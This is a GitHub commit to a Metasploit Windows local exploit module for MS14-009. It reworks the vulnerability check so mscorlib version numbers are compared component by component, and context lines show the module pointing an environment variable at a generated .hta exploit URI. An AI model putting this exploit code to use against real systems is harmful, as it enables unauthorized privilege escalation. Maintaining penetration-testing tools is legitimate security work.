Skip to content

Commit 3c38c0d

Browse files
committed
Dont be confident about string comparision
1 parent d0241cf commit 3c38c0d

File tree

1 file changed

+25
-3
lines changed

1 file changed

+25
-3
lines changed

modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

Lines changed: 25 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -86,11 +86,11 @@ def check
8686

8787
mscorlib_version = get_mscorlib_version
8888

89-
unless mscorlib_version < NET_VERSIONS[net_version]["mscorlib"]
90-
return Exploit::CheckCode::Safe
89+
if valid_mscorlib_version?(net_version, mscorlib_version)
90+
return Exploit::CheckCode::Vulnerable
9191
end
9292

93-
Exploit::CheckCode::Vulnerable
93+
Exploit::CheckCode::Safe
9494
end
9595

9696
def get_net_version
@@ -161,6 +161,28 @@ def exploit
161161
session.railgun.kernel32.SetEnvironmentVariableA("MYURL", nil)
162162
end
163163

164+
def valid_mscorlib_version?(net_version, mscorlib_version)
165+
valid = false
166+
167+
mscorlib = mscorlib_version.split(".")
168+
mscorlib.reverse!
169+
170+
max_version = NET_VERSIONS[net_version]["mscorlib"].split(".")
171+
max_version.reverse!
172+
173+
i = 0
174+
mscorlib.each do |v|
175+
if v.to_i < max_version[i].to_i
176+
valid = true
177+
elsif v.to_i > max_version[i].to_i
178+
valid = false
179+
end
180+
i = i + 1
181+
end
182+
183+
valid
184+
end
185+
164186
def primer
165187
exploit_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
166188
session.railgun.kernel32.SetEnvironmentVariableA("MYURL", exploit_uri)

0 commit comments

Comments
 (0)